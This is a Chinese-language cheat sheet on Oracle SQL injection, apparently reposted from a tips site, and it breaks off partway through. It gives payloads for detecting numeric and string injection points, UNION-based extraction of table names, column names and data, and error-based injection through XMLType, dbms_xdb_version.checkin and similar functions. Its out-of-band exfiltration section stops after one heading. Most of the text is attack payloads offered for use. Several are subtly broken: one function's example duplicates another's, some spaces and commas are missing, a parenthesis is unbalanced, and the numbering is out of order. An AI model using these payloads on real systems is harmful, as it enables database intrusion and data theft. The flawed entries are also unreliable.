1. 程式人生 > 實用技巧 >Oracle 注入 All in ONE

Oracle 注入 All in ONE

0x01 尋找並判斷注入點

注意:避免使用and 1=1這樣的測試語句

數字型:

數字型的注入,和其他型別資料庫時都一樣,自己構造加減乘除的條件來判斷注入

Payload:

# 通過 <> 來判斷

?id=1'+and+1<>2--+ #返回為真 頁面正常
?id=1'+and+1<>1--+ #返回為假 頁面異常

#通過 加減法來判斷

?id=1 #返回id,為1的內容
?id=2-1 #返回為1的內容

#通過資料庫報錯來判斷

?id=1 #返回為正常
?id=1/0 #返回異常

# 通過註釋符來判斷(多行註釋:/**/,單行註釋:--)

?id=1 #返回為正常
?id=1/*loecho*/ #也返回正常

?id=1 #返回為正常
?id=1--loecho #也返回正常

字元型

字元型注入相對數字型來說,會存在閉合一些資料引用符號的問題,例如語句通過'閉合語句後,後續就要通過單行註釋符來註釋剩下的單引號,其他情況也是如此

Payload:

#通過<>來判斷

?name=loecho'+and+1<>6--+ #返回正常
?name=loecho'+and+1<>1--+ #返回異常


#使用字串拼接符’||’,通過判斷拼接符是否執行,從而判斷是否存在注入

?name=lo'||'echo #返回正常
?name=lo'||'haha #返回異常

0x02 利用並且查詢資料

01. 聯合查詢

即利用union select將想要查詢的資料顯示在頁面上,構造正常語句,成功執行SQL語句查詢資料

  • 具體步驟如下:

# 01.先判斷列數,同Mysql一樣

?id=1'+order+by+4--+ #返回正常
?id=1'+order+by+5--+ #提示報錯

得出結論資料為: 5 列

# 02.然後對每一列的資料型別進行判斷(可以使用null代替某些無法快速猜測出資料型別的位置),先預設每一列均為null,然後從第一列開始依次將null改為字串,如果報錯則說明該列是數字型,否則則是字元型。,同Mysql一樣

?id=1'+union+select+user+null+null+null+from+dual--+ #查詢當前使用者名稱

以此類推

# 03. 利用select table_name from user_tables where rownum=1獲取表名(列名table資料同理):

select column_name from user_tab_columns where table_name='TB_USER' and rownum=1(獲取列名)
select USER_ID from TB_USER where USER_ID=1 and rownum=1(獲取資料)

03. 報錯注入

構造報錯語句,通過資料庫報錯來帶出我們要查詢的資料,常用的報錯函式包括

  • XMLType()
    • # 中間為查詢語句

      upper(XMLType(chr(60)||chr(58)||(selectuserfrom dual)||chr(62)))

  • dbms_xdb_version.checkin()
    • # 中間為查詢語句

      upper(dbms_xdb_version.checkin((select user from dual)))

  • ctxsys.drithsx.sn()
    • # 中間為查詢內容

      upper(dbms_xdb_version.checkin((select user from dual)))

  • ordsys.ord_dicom.getmappingxpath()
    • # 中間為查詢內容

      ordsys.ord_dicom.getmappingxpath(user,user,user)

  • dbms_utility.sqlid_to_sqlhash()
    • # 中間為查詢內容

      dbms_utility.sqlid_to_sqlhash((select user from dual)

02.OOB外帶資料

通過HTTP請求,或者DNSlog,來構造語句,如果目標出網,並且對資料庫函式沒有進行限制,就會實現攻擊

  • HTTP 請求外帶資料
  • saf